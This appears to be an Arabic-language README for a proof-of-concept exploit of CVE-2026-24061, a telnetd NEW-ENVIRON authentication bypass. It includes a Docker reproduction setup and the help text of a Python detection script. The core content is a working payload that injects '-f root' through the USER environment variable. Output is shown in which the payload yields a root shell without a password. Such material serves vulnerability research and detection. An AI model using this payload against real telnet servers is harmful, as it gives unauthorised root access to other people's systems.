
إثبات مفهوم لاستغلال CVE-2026-24061، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في Telnet NEW-ENVIRON، مع بيئة إعادة إنتاج عبر Docker وسكربت كشف بلغة Python.
بناء الصورة
docker build -t telnetd-bypass .
تشغيل الحاوية
docker run -it --rm \
--name telnetd-vuln \
--privileged \
-p 23:23 \
telnetd-bypass
إرسال payload
USER='-f root' telnet -a 127.0.0.1 23
النتيجة
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.10.14-linuxkit (c910afb30330) (pts/1)
Linux c910afb30330 6.10.14-linuxkit #1 SMP Tue Oct 14 07:32:13 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 22 05:55:47 UTC 2026 from 172.64.155.119 on pts/1
root@c910afb30330:~#
python3 poc.py -h
usage: poc.py [-h] -t TARGET [-p PORT]
CVE-2026-24061 Telnet NEW-ENVIRON RCE أداة اكتشاف الثغرات
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
عنوان IP الهدف
-p PORT, --port PORT المنفذ الهدف (الافتراضي: 23)
أمثلة:
poc.py -t 192.168.1.100 -p 23
poc.py --target 127.0.0.1 --port 23